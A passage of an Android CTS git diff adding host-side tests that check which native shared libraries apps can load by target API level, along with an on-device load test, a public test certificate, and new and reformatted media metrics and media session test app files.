+            newContent = newContent.replace("%TARGET_SDK_VERSION%", Integer.toString(apiLevel));
+
+            File output = new File(dir, "AndroidManifest.xml");
+            FileUtil.writeToFile(newContent, output);
+            return output;
+        } catch (Exception e) {
+            throw new RuntimeException(e);
+        }
+    }
+
+    private void runCommand(String cmd) {
+        CommandResult result = RunUtil.getDefault().runTimedCmd(100000, cmd.split(" "));
+        if (result.getExitCode() != 0) {
+            throw new RuntimeException(result.getStderr());
+        }
+    }
+
+    private File buildTestApp(int apiLevel,
+            String[] requiredLibraries,
+            String[] optionalLibraries,
+            String[] availableLibraries,
+            String[] unavailableLibraries) throws IOException {
+        File buildRoot = FileUtil.createTempDir("appbuild", mWorkDir);
+
+        // Create available.txt and unavailable.txt files. They contain the list of native libs
+        // that must be loadable and non-loadable. The Test app will fail if any of the lib in
+        // available.txt is non-loadable, or if any of the lib in unavailable.txt is loadable.
+        File assetDir = new File(buildRoot, "asset");
+        assetDir.mkdir();
+        File availableTxtFile = new File(assetDir, "available.txt");
+        File unavailableTxtFile = new File(assetDir, "unavailable.txt");
+        FileUtil.writeToFile(String.join("\n", availableLibraries), availableTxtFile, false);
+        FileUtil.writeToFile(String.join("\n", unavailableLibraries), unavailableTxtFile, false);
+
+        File manifestFile = createManifestFileWithUsesNativeLibraryTags(buildRoot, apiLevel,
+                requiredLibraries, optionalLibraries);
+
+        File resFile = new File(buildRoot, "package-res.apk");
+        runCommand(String.format("%s link --manifest %s -I %s -A %s -o %s",
+                getFile("aapt2"),
+                manifestFile,
+                getFile("android.jar"),
+                assetDir,
+                resFile));
+
+        // Append the app code to the apk
+        File unsignedApkFile = new File(buildRoot, "unsigned.apk");
+        runCommand(String.format("%s %s %s %s",
+                getFile("merge_zips"),
+                unsignedApkFile,
+                resFile,
+                getFile("CtsUsesNativeLibraryTestApp.jar")));
+
+        File signedApkFile = new File(buildRoot, "signed.apk");
+        runCommand(String.format("java -Djava.library.path=%s -jar %s %s %s %s %s",
+                mWorkDir,
+                getFile("signapk.jar"),
+                getFile("testkey.x509.pem"),
+                getFile("testkey.pk8"),
+                unsignedApkFile,
+                signedApkFile));
+
+        return signedApkFile;
+    }
+
+    private boolean installTestApp(File testApp) throws Exception {
+        // Explicit uninstallation is required because we might downgrade the target API level
+        // from 31 to 30
+        uninstallPackage("com.android.test.usesnativesharedlibrary");
+        try {
+            installPackage(testApp.toString());
+            return true;
+        } catch (TargetSetupError e) {
+            System.out.println(e.getMessage());
+            return false;
+        }
+    }
+
+    private void runInstalledTestApp() throws Exception {
+        runDeviceTests("com.android.test.usesnativesharedlibrary",
+                "com.android.test.usesnativesharedlibrary.LoadTest");
+    }
+
+    private static String[] add(Set<String> s, String...extra) {
+        List<String> ret = new ArrayList<>();
+        ret.addAll(s);
+        ret.addAll(Arrays.asList(extra));
+        return ret.toArray(new String[0]);
+    }
+
+    ///////////////////////////////////////////////////////////////////////////
+    // Tests for when apps depend on non-existing lib
+    ///////////////////////////////////////////////////////////////////////////
+
+    @Test
+    public void testOldAppDependsOnNonExistingLib() throws Exception {
+        String[] requiredLibs = {mNonExistingLib};
+        String[] optionalLibs = {};
+        String[] availableLibs = add(mPublicLibraries); // old app has access to all public libs
+        String[] unavailableLibs = {mNonExistingLib, mPrivateLib};
+
+        assertTrue(installTestApp(buildTestApp(30,
+                        requiredLibs, optionalLibs, availableLibs, unavailableLibs)));
+        runInstalledTestApp();
+    }
+
+    @Test
+    public void testNewAppDependsOnNonExistingLib() throws Exception {
+        String[] requiredLibs = {mNonExistingLib};
+        String[] optionalLibs = {};
+        String[] availableLibs = {}; // new app doesn't have access to unlisted public libs
+        String[] unavailableLibs = add(mPublicLibraries, mNonExistingLib, mPrivateLib);
+
+        assertFalse(installTestApp(buildTestApp(31,
+                        requiredLibs, optionalLibs, availableLibs, unavailableLibs)));
+
+        // install failed, so can't run the on-device test
+    }
+
+    @Test
+    public void testOldAppOptionallyDependsOnNonExistingLib() throws Exception {
+        String[] requiredLibs = {};
+        String[] optionalLibs = {mNonExistingLib};
+        String[] availableLibs = add(mPublicLibraries); // old app has access to all public libs
+        String[] unavailableLibs = {mNonExistingLib, mPrivateLib};
+
+        assertTrue(installTestApp(buildTestApp(30,
+                        requiredLibs, optionalLibs, availableLibs, unavailableLibs)));
+        runInstalledTestApp();
+    }
+
+    @Test
+    public void testNewAppOptionallyDependsOnNonExistingLib() throws Exception {
+        String[] requiredLibs = {};
+        String[] optionalLibs = {mNonExistingLib};
+        String[] availableLibs = {}; // new app doesn't have access to unlisted public libs
+        String[] unavailableLibs = {mNonExistingLib, mPrivateLib};
+
+        assertTrue(installTestApp(buildTestApp(31,
+                        requiredLibs, optionalLibs, availableLibs, unavailableLibs)));
+        runInstalledTestApp();
+    }
+
+    ///////////////////////////////////////////////////////////////////////////
+    // Tests for when apps depend on private lib
+    ///////////////////////////////////////////////////////////////////////////
+
+    @Test
+    public void testOldAppDependsOnPrivateLib() throws Exception {
+        String[] requiredLibs = {mPrivateLib};
+        String[] optionalLibs = {};
+        String[] availableLibs = add(mPublicLibraries); // old app has access to all public libs
+        String[] unavailableLibs = {mPrivateLib, mPrivateLib};
+
+        assertTrue(installTestApp(buildTestApp(30,
+                        requiredLibs, optionalLibs, availableLibs, unavailableLibs)));
+        runInstalledTestApp();
+    }
+
+    @Test
+    public void testNewAppDependsOnPrivateLib() throws Exception {
+        String[] requiredLibs = {mPrivateLib};
+        String[] optionalLibs = {};
+        String[] availableLibs = {}; // new app doesn't have access to unlisted public libs
+        String[] unavailableLibs = add(mPublicLibraries, mPrivateLib, mPrivateLib);
+
+        assertFalse(installTestApp(buildTestApp(31,
+                        requiredLibs, optionalLibs, availableLibs, unavailableLibs)));
+
+        // install failed, so can't run the on-device test
+    }
+
+    @Test
+    public void testOldAppOptionallyDependsOnPrivateLib() throws Exception {
+        String[] requiredLibs = {};
+        String[] optionalLibs = {mPrivateLib};
+        String[] availableLibs = add(mPublicLibraries); // old app has access to all public libs
+        String[] unavailableLibs = {mPrivateLib, mPrivateLib};
+
+        assertTrue(installTestApp(buildTestApp(30,
+                        requiredLibs, optionalLibs, availableLibs, unavailableLibs)));
+        runInstalledTestApp();
+    }
+
+    @Test
+    public void testNewAppOptionallyDependsOnPrivateLib() throws Exception {
+        String[] requiredLibs = {};
+        String[] optionalLibs = {mPrivateLib};
+        String[] availableLibs = {}; // new app doesn't have access to unlisted public libs
+        String[] unavailableLibs = {mPrivateLib, mPrivateLib};
+
+        assertTrue(installTestApp(buildTestApp(31,
+                        requiredLibs, optionalLibs, availableLibs, unavailableLibs)));
+        runInstalledTestApp();
+    }
+
+    ///////////////////////////////////////////////////////////////////////////
+    // Tests for when apps depend on all public libraries
+    ///////////////////////////////////////////////////////////////////////////
+
+    @Test
+    public void testOldAppDependsOnAllPublicLibraries() throws Exception {
+        String[] requiredLibs = add(mPublicLibraries);
+        String[] optionalLibs = {};
+        String[] availableLibs = add(mPublicLibraries); // old app still has access to all libs
+        String[] unavailableLibs = {mNonExistingLib, mPrivateLib};
+
+        assertTrue(installTestApp(buildTestApp(30,
+                        requiredLibs, optionalLibs, availableLibs, unavailableLibs)));
+        runInstalledTestApp();
+    }
+
+    @Test
+    public void testNewAppDependsOnAllPublicLibraries() throws Exception {
+        String[] requiredLibs = add(mPublicLibraries);
+        String[] optionalLibs = {};
+        String[] availableLibs = add(mPublicLibraries); // new app now has access to all libs
+        String[] unavailableLibs = {mNonExistingLib, mPrivateLib};
+
+        assertTrue(installTestApp(buildTestApp(31,
+                        requiredLibs, optionalLibs, availableLibs, unavailableLibs)));
+        runInstalledTestApp();
+    }
+
+    ///////////////////////////////////////////////////////////////////////////
+    // Tests for when apps depend on some public libraries
+    ///////////////////////////////////////////////////////////////////////////
+
+    @Test
+    public void testOldAppDependsOnSomePublicLibraries() throws Exception {
+        // select the first half of the public lib
+        String[] requiredLibs = add(mSomePublicLibraries);
+        String[] optionalLibs = {};
+        String[] availableLibs = add(mPublicLibraries); // old app still has access to all libs
+        String[] unavailableLibs = {mNonExistingLib, mPrivateLib};
+
+        assertTrue(installTestApp(buildTestApp(30,
+                        requiredLibs, optionalLibs, availableLibs, unavailableLibs)));
+        runInstalledTestApp();
+    }
+
+    @Test
+    public void testNewAppDependsOnSomePublicLibraries() throws Exception {
+        String[] requiredLibs = add(mSomePublicLibraries);
+        String[] optionalLibs = {};
+        // new app has access to the listed libs only
+        String[] availableLibs = add(mSomePublicLibraries);
+        // And doesn't have access to the remaining public libs and of course non-existing
+        // and private libs.
+        String[] unavailableLibs = add(mRemainingPublicLibraries, mNonExistingLib, mPrivateLib);
+
+        assertTrue(installTestApp(buildTestApp(31,
+                        requiredLibs, optionalLibs, availableLibs, unavailableLibs)));
+        runInstalledTestApp();
+    }
+
+    @Test
+    public void testNewAppOptionallyDependsOnSomePublicLibraries() throws Exception {
+        // select the first half of the public lib
+        String[] requiredLibs = {};
+        String[] optionalLibs = add(mSomePublicLibraries);
+        // new app has access to the listed libs only
+        String[] availableLibs = add(mSomePublicLibraries);
+        // And doesn't have access to the remaining public libs and of course non-existing
+        // and private libs.
+        String[] unavailableLibs = add(mRemainingPublicLibraries, mNonExistingLib, mPrivateLib);
+
+        assertTrue(installTestApp(buildTestApp(31,
+                        requiredLibs, optionalLibs, availableLibs, unavailableLibs)));
+        runInstalledTestApp();
+    }
+}
+
diff --git a/hostsidetests/library/src_target/com/android/test/usesnativesharedlibrary/LoadTest.java b/hostsidetests/library/src_target/com/android/test/usesnativesharedlibrary/LoadTest.java
new file mode 100644
index 0000000..c4af778
--- /dev/null
+++ b/hostsidetests/library/src_target/com/android/test/usesnativesharedlibrary/LoadTest.java
@@ -0,0 +1,131 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.test.usesnativesharedlibrary;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertThat;
+import static org.hamcrest.core.Is.is;
+
+import android.os.Build;
+import com.android.compatibility.common.util.PropertyUtil;
+
+import androidx.test.core.app.ApplicationProvider;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+import java.io.BufferedReader;
+import java.io.IOException;
+import java.io.InputStreamReader;
+import java.nio.file.Files;
+import java.nio.file.Paths;
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.List;
+import java.util.Set;
+import java.util.stream.Collectors;
+import java.util.stream.Stream;
+/**
+ * Tests if native shared libs are loadable or un-loadable as expected. The list of loadable libs is
+ * in the asset file <code>available.txt</code> and the list of un-loadable libs is in the asset
+ * file <code>unavailable.txt</code>. The files are dynamically created by the host-side test
+ * <code>UsesNativeLibraryTestCase</code>.
+ */
+@RunWith(JUnit4.class)
+public class LoadTest {
+    private List<String> libNamesFromAssetFile(String filename) {
+        List<String> result = new ArrayList<>();
+        try (BufferedReader reader = new BufferedReader(new InputStreamReader(
+                ApplicationProvider.getApplicationContext().getAssets().open(filename)))) {
+            String line;
+            while ((line = reader.readLine()) != null) {
+                if (!line.isEmpty() && line.startsWith("lib") && line.endsWith(".so")) {
+                    // libfoo.so -> foo because that's what System.loadLibrary accepts
+                    result.add(line.substring(3, line.length()-3));
+                }
+            }
+        } catch (Exception e) {
+            throw new RuntimeException(e);
+        }
+        return result;
+    }
+
+    private Set<String> vendorPublicLibraries() {
+        try (Stream<String> lines = Files.lines(Paths.get("/vendor/etc/public.libraries.txt"))) {
+            return lines.
+                filter(line -> {
+                    // filter-out empty lines or comment lines that start with #
+                    String strip = line.trim();
+                    return !strip.isEmpty() && !strip.startsWith("#");
+                }).
+                // line format is "name [bitness]". Extract the name part.
+                map(line -> line.trim().split("\\s+")[0]).
+                collect(Collectors.toSet());
+        } catch (IOException e) {
+            return Collections.emptySet();
+        }
+    }
+
+    /**
+     * Tests if libs listed in available.txt are all loadable
+     */
+    @Test
+    public void testAvailableLibrariesAreLoaded() {
+        List<String> unexpected = new ArrayList<>();
+        for (String lib : libNamesFromAssetFile("available.txt")) {
+            try {
+                System.loadLibrary(lib);
+            } catch (Throwable t) {
+                if (!PropertyUtil.isVndkApiLevelNewerThan(Build.VERSION_CODES.R)) {
+                    // Some old vendor.img might have stable entries in ./etc/public.libraries.txt
+                    // Don't emit error in that case.
+                    String libName = "lib" + lib + ".so";
+                    boolean notFound = t.getMessage().equals("dlopen failed: library \"" + libName
+                            + "\" not found");
+                    boolean isVendorPublicLib = vendorPublicLibraries().contains(libName);
+                    if (isVendorPublicLib && notFound) {
+                        continue;
+                    }
+                }
+                unexpected.add(t.getMessage());
+            }
+        };
+        assertThat("Some libraries failed to load", unexpected, is(Collections.emptyList()));
+    }
+
+    /**
+     * Tests if libs listed in unavailable.txt are all non-loadable
+     */
+    @Test
+    public void testUnavailableLibrariesAreNotLoaded() {
+        List<String> loadedLibs = new ArrayList<>();
+        List<String> unexpectedFailures = new ArrayList<>();
+        for (String lib : libNamesFromAssetFile("unavailable.txt")) {
+            try {
+                System.loadLibrary(lib);
+                loadedLibs.add("lib" + lib + ".so");
+            } catch (UnsatisfiedLinkError e) {
+                // This is expected
+            } catch (Throwable t) {
+                unexpectedFailures.add(t.getMessage());
+            }
+        };
+        assertThat("Some unavailable libraries were loaded", loadedLibs, is(Collections.emptyList()));
+        assertThat("Unexpected errors occurred", unexpectedFailures, is(Collections.emptyList()));
+    }
+}
diff --git a/hostsidetests/library/testkey.pk8 b/hostsidetests/library/testkey.pk8
new file mode 100644
index 0000000..586c1bd
--- /dev/null
+++ b/hostsidetests/library/testkey.pk8
Binary files differ
diff --git a/hostsidetests/library/testkey.x509.pem b/hostsidetests/library/testkey.x509.pem
new file mode 100644
index 0000000..e242d83
--- /dev/null
+++ b/hostsidetests/library/testkey.x509.pem
@@ -0,0 +1,27 @@
+-----BEGIN CERTIFICATE-----
+MIIEqDCCA5CgAwIBAgIJAJNurL4H8gHfMA0GCSqGSIb3DQEBBQUAMIGUMQswCQYD
+VQQGEwJVUzETMBEGA1UECBMKQ2FsaWZvcm5pYTEWMBQGA1UEBxMNTW91bnRhaW4g
+VmlldzEQMA4GA1UEChMHQW5kcm9pZDEQMA4GA1UECxMHQW5kcm9pZDEQMA4GA1UE
+AxMHQW5kcm9pZDEiMCAGCSqGSIb3DQEJARYTYW5kcm9pZEBhbmRyb2lkLmNvbTAe
+Fw0wODAyMjkwMTMzNDZaFw0zNTA3MTcwMTMzNDZaMIGUMQswCQYDVQQGEwJVUzET
+MBEGA1UECBMKQ2FsaWZvcm5pYTEWMBQGA1UEBxMNTW91bnRhaW4gVmlldzEQMA4G
+A1UEChMHQW5kcm9pZDEQMA4GA1UECxMHQW5kcm9pZDEQMA4GA1UEAxMHQW5kcm9p
+ZDEiMCAGCSqGSIb3DQEJARYTYW5kcm9pZEBhbmRyb2lkLmNvbTCCASAwDQYJKoZI
+hvcNAQEBBQADggENADCCAQgCggEBANaTGQTexgskse3HYuDZ2CU+Ps1s6x3i/waM
+qOi8qM1r03hupwqnbOYOuw+ZNVn/2T53qUPn6D1LZLjk/qLT5lbx4meoG7+yMLV4
+wgRDvkxyGLhG9SEVhvA4oU6Jwr44f46+z4/Kw9oe4zDJ6pPQp8PcSvNQIg1QCAcy
+4ICXF+5qBTNZ5qaU7Cyz8oSgpGbIepTYOzEJOmc3Li9kEsBubULxWBjf/gOBzAzU
+RNps3cO4JFgZSAGzJWQTT7/emMkod0jb9WdqVA2BVMi7yge54kdVMxHEa5r3b97s
+zI5p58ii0I54JiCUP5lyfTwE/nKZHZnfm644oLIXf6MdW2r+6R8CAQOjgfwwgfkw
+HQYDVR0OBBYEFEhZAFY9JyxGrhGGBaR0GawJyowRMIHJBgNVHSMEgcEwgb6AFEhZ
+AFY9JyxGrhGGBaR0GawJyowRoYGapIGXMIGUMQswCQYDVQQGEwJVUzETMBEGA1UE
+CBMKQ2FsaWZvcm5pYTEWMBQGA1UEBxMNTW91bnRhaW4gVmlldzEQMA4GA1UEChMH
+QW5kcm9pZDEQMA4GA1UECxMHQW5kcm9pZDEQMA4GA1UEAxMHQW5kcm9pZDEiMCAG
+CSqGSIb3DQEJARYTYW5kcm9pZEBhbmRyb2lkLmNvbYIJAJNurL4H8gHfMAwGA1Ud
+EwQFMAMBAf8wDQYJKoZIhvcNAQEFBQADggEBAHqvlozrUMRBBVEY0NqrrwFbinZa
+J6cVosK0TyIUFf/azgMJWr+kLfcHCHJsIGnlw27drgQAvilFLAhLwn62oX6snb4Y
+LCBOsVMR9FXYJLZW2+TcIkCRLXWG/oiVHQGo/rWuWkJgU134NDEFJCJGjDbiLCpe
++ZTWHdcwauTJ9pUbo8EvHRkU3cYfGmLaLfgn9gP+pWA7LFQNvXwBnDa6sppCccEX
+31I828XzgXpJ4O+mDL1/dBd+ek8ZPUP0IgdyZm5MTYPhvVqGCHzzTy3sIeJFymwr
+sBbmg2OAUNLEMO6nwmocSdN2ClirfxqCzJOLSDE4QyS9BAH6EhY6UFcOaE0=
+-----END CERTIFICATE-----
diff --git a/hostsidetests/media/Android.bp b/hostsidetests/media/Android.bp
index b16d6fe..b6065fc 100644
--- a/hostsidetests/media/Android.bp
+++ b/hostsidetests/media/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsMediaHostTestCases",
     defaults: ["cts_defaults"],
@@ -39,6 +35,7 @@
 
     static_libs: [
         "cts-host-utils",
+        "cts-statsd-atom-host-test-utils",
     ],
 }
 
diff --git a/hostsidetests/media/app/MediaExtractorTest/Android.bp b/hostsidetests/media/app/MediaExtractorTest/Android.bp
index f5b32ab..8eab97e 100644
--- a/hostsidetests/media/app/MediaExtractorTest/Android.bp
+++ b/hostsidetests/media/app/MediaExtractorTest/Android.bp
@@ -41,6 +41,7 @@
         "libandroid",
         "libnativehelper_compat_libc++",
     ],
+    header_libs: ["liblog_headers"],
     include_dirs: [
         "frameworks/av/media/ndk/include/media",
     ],
diff --git a/hostsidetests/media/app/MediaMetricsTest/Android.bp b/hostsidetests/media/app/MediaMetricsTest/Android.bp
new file mode 100644
index 0000000..8b296e0
--- /dev/null
+++ b/hostsidetests/media/app/MediaMetricsTest/Android.bp
@@ -0,0 +1,30 @@
+// Copyright (C) 2021 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsMediaMetricsHostTestApp",
+    defaults: ["cts_defaults"],
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    srcs: [
+        "src/**/*.java",
+    ],
+    static_libs: [
+        "androidx.test.rules",
+    ],
+    sdk_version: "test_current",
+    min_sdk_version: "30",
+}
diff --git a/hostsidetests/media/app/MediaMetricsTest/AndroidManifest.xml b/hostsidetests/media/app/MediaMetricsTest/AndroidManifest.xml
new file mode 100644
index 0000000..fc46782
--- /dev/null
+++ b/hostsidetests/media/app/MediaMetricsTest/AndroidManifest.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2021 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+     package="android.media.metrics.cts"
+     android:targetSandboxVersion="2">
+
+    <uses-sdk android:minSdkVersion="30"/>
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:targetPackage="android.media.metrics.cts"
+         android:label="Media metrics CTS Tests"/>
+
+</manifest>
diff --git a/hostsidetests/media/app/MediaMetricsTest/src/android/media/metrics/cts/MediaMetricsAtomHostSideTests.java b/hostsidetests/media/app/MediaMetricsTest/src/android/media/metrics/cts/MediaMetricsAtomHostSideTests.java
new file mode 100644
index 0000000..8416e58
--- /dev/null
+++ b/hostsidetests/media/app/MediaMetricsTest/src/android/media/metrics/cts/MediaMetricsAtomHostSideTests.java
@@ -0,0 +1,119 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.metrics.cts;
+
+import android.content.Context;
+import android.media.metrics.MediaMetricsManager;
+import android.media.metrics.NetworkEvent;
+import android.media.metrics.PlaybackErrorEvent;
+import android.media.metrics.PlaybackMetrics;
+import android.media.metrics.PlaybackSession;
+import android.media.metrics.PlaybackStateEvent;
+import android.media.metrics.TrackChangeEvent;
+
+import androidx.test.InstrumentationRegistry;
+
+import org.junit.Test;
+
+public class MediaMetricsAtomHostSideTests {
+
+    @Test
+    public void testPlaybackStateEvent() throws Exception {
+        Context context = InstrumentationRegistry.getContext();
+        MediaMetricsManager manager = context.getSystemService(MediaMetricsManager.class);
+        PlaybackSession s = manager.createPlaybackSession();
+        PlaybackStateEvent e =
+                new PlaybackStateEvent.Builder()
+                        .setTimeSinceCreatedMillis(1763L)
+                        .setState(PlaybackStateEvent.STATE_JOINING_FOREGROUND)
+                        .build();
+        s.reportPlaybackStateEvent(e);
+    }
+
+    @Test
+    public void testPlaybackErrorEvent() throws Exception {
+        Context context = InstrumentationRegistry.getContext();
+        MediaMetricsManager manager = context.getSystemService(MediaMetricsManager.class);
+        PlaybackSession s = manager.createPlaybackSession();
+        PlaybackErrorEvent e =
+                new PlaybackErrorEvent.Builder()
+                        .setTimeSinceCreatedMillis(17630000L)
+                        .setErrorCode(PlaybackErrorEvent.ERROR_CODE_RUNTIME)
+                        .setSubErrorCode(378)
+                        .setException(new Exception("test exception"))
+                        .build();
+        s.reportPlaybackErrorEvent(e);
+    }
+
+    @Test
+    public void testTrackChangeEvent_text() throws Exception {
+        Context context = InstrumentationRegistry.getContext();
+        MediaMetricsManager manager = context.getSystemService(MediaMetricsManager.class);
+        PlaybackSession s = manager.createPlaybackSession();
+        TrackChangeEvent e =
+                new TrackChangeEvent.Builder(TrackChangeEvent.TRACK_TYPE_TEXT)
+                        .setTimeSinceCreatedMillis(37278L)
+                        .setTrackState(TrackChangeEvent.TRACK_STATE_ON)
+                        .setTrackChangeReason(TrackChangeEvent.TRACK_CHANGE_REASON_MANUAL)
+                        .setContainerMimeType("text/foo")
+                        .setSampleMimeType("text/plain")
+                        .setCodecName("codec_1")
+                        .setBitrate(1024)
+                        .setLanguage("EN")
+                        .setLanguageRegion("US")
+                        .build();
+        s.reportTrackChangeEvent(e);
+    }
+
+    @Test
+    public void testNetworkEvent() throws Exception {
+        Context context = InstrumentationRegistry.getContext();
+        MediaMetricsManager manager = context.getSystemService(MediaMetricsManager.class);
+        PlaybackSession s = manager.createPlaybackSession();
+        NetworkEvent e =
+                new NetworkEvent.Builder()
+                        .setTimeSinceCreatedMillis(3032L)
+                        .setNetworkType(NetworkEvent.NETWORK_TYPE_WIFI)
+                        .build();
+        s.reportNetworkEvent(e);
+    }
+
+    @Test
+    public void testPlaybackMetrics() throws Exception {
+        Context context = InstrumentationRegistry.getContext();
+        MediaMetricsManager manager = context.getSystemService(MediaMetricsManager.class);
+        PlaybackSession s = manager.createPlaybackSession();
+        PlaybackMetrics e =
+                new PlaybackMetrics.Builder()
+                        .setMediaDurationMillis(233L)
+                        .setStreamSource(PlaybackMetrics.STREAM_SOURCE_NETWORK)
+                        .setStreamType(PlaybackMetrics.STREAM_TYPE_OTHER)
+                        .setPlaybackType(PlaybackMetrics.PLAYBACK_TYPE_LIVE)
+                        .setDrmType(PlaybackMetrics.DRM_TYPE_WIDEVINE_L1)
+                        .setContentType(PlaybackMetrics.CONTENT_TYPE_MAIN)
+                        .setPlayerName("ExoPlayer")
+                        .setPlayerVersion("1.01x")
+                        .setVideoFramesPlayed(1024)
+                        .setVideoFramesDropped(32)
+                        .setAudioUnderrunCount(22)
+                        .setNetworkBytesRead(102400)
+                        .setLocalBytesRead(2000)
+                        .setNetworkTransferDurationMillis(6000)
+                        .build();
+        s.reportPlaybackMetrics(e);
+    }
+}
diff --git a/hostsidetests/media/app/MediaSessionTest/Android.bp b/hostsidetests/media/app/MediaSessionTest/Android.bp
index 4dd94a0..b21a6da 100644
--- a/hostsidetests/media/app/MediaSessionTest/Android.bp
+++ b/hostsidetests/media/app/MediaSessionTest/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsMediaSessionHostTestApp",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/media/app/MediaSessionTest/AndroidManifest.xml b/hostsidetests/media/app/MediaSessionTest/AndroidManifest.xml
index 009fea8..3e5854d 100644
--- a/hostsidetests/media/app/MediaSessionTest/AndroidManifest.xml
+++ b/hostsidetests/media/app/MediaSessionTest/AndroidManifest.xml
@@ -15,28 +15,26 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.media.session.cts"
-    android:targetSandboxVersion="2">
+     package="android.media.session.cts"
+     android:targetSandboxVersion="2">
 
     <uses-sdk android:minSdkVersion="26"/>
 
-    <application
-        android:testOnly="true">
-        <uses-library android:name="android.test.runner" />
+    <application android:testOnly="true">
+        <uses-library android:name="android.test.runner"/>
 
-        <service
-            android:name=".MediaSessionManagerTest"
-            android:label="MediaSessionManagerTest"
-            android:permission="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE" >
+        <service android:name=".MediaSessionManagerTest"
+             android:label="MediaSessionManagerTest"
+             android:permission="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.service.notification.NotificationListenerService" />
+                <action android:name="android.service.notification.NotificationListenerService"/>
             </intent-filter>
         </service>
     </application>
 
-    <instrumentation
-        android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:targetPackage="android.media.session.cts"
-        android:label="MediaSession multi-user case CTS Tests" />
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:targetPackage="android.media.session.cts"
+         android:label="MediaSession multi-user case CTS Tests"/>
 
 </manifest>
diff --git a/hostsidetests/media/app/MediaSessionTest/src/android/media/session/cts/MediaSessionManagerTest.java b/hostsidetests/media/app/MediaSessionTest/src/android/media/session/cts/MediaSessionManagerTest.java
index 6ed0e60..f12b823 100644
--- a/hostsidetests/media/app/MediaSessionTest/src/android/media/session/cts/MediaSessionManagerTest.java
+++ b/hostsidetests/media/app/MediaSessionTest/src/android/media/session/cts/MediaSessionManagerTest.java
@@ -25,8 +25,8 @@
 import android.content.ComponentName;
 import android.content.Context;
 import android.media.session.MediaController;
-import android.media.session.MediaSessionManager;
 import android.media.session.MediaSessionManager.RemoteUserInfo;
+import android.media.session.MediaSessionManager;
 import android.os.Process;
 import android.service.notification.NotificationListenerService;
 
diff --git a/hostsidetests/media/app/MediaSessionTestHelper/Android.bp b/hostsidetests/media/app/MediaSessionTestHelper/Android.bp
index 66340b2..d6e141f 100644
--- a/hostsidetests/media/app/MediaSessionTestHelper/Android.bp
+++ b/hostsidetests/media/app/MediaSessionTestHelper/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsMediaSessionTestHelper",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/media/app/MediaSessionTestHelper/AndroidManifest.xml b/hostsidetests/media/app/MediaSessionTestHelper/AndroidManifest.xml
index 70c48f9..a7270fc 100644
--- a/hostsidetests/media/app/MediaSessionTestHelper/AndroidManifest.xml
+++ b/hostsidetests/media/app/MediaSessionTestHelper/AndroidManifest.xml
@@ -16,16 +16,17 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.media.app.media_session_test_helper"
-    android:versionCode="1"
-    android:versionName="1.0">
+     package="android.media.app.media_session_test_helper"
+     android:versionCode="1"
+     android:versionName="1.0">
 
     <uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
 
     <application android:label="@string/label">
-        <service android:name=".MediaSessionTestHelperService">
+        <service android:name=".MediaSessionTestHelperService"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.media.app.media_session_test_helper.ACTION_CONTROL" />
+                <action android:name="android.media.app.media_session_test_helper.ACTION_CONTROL"/>
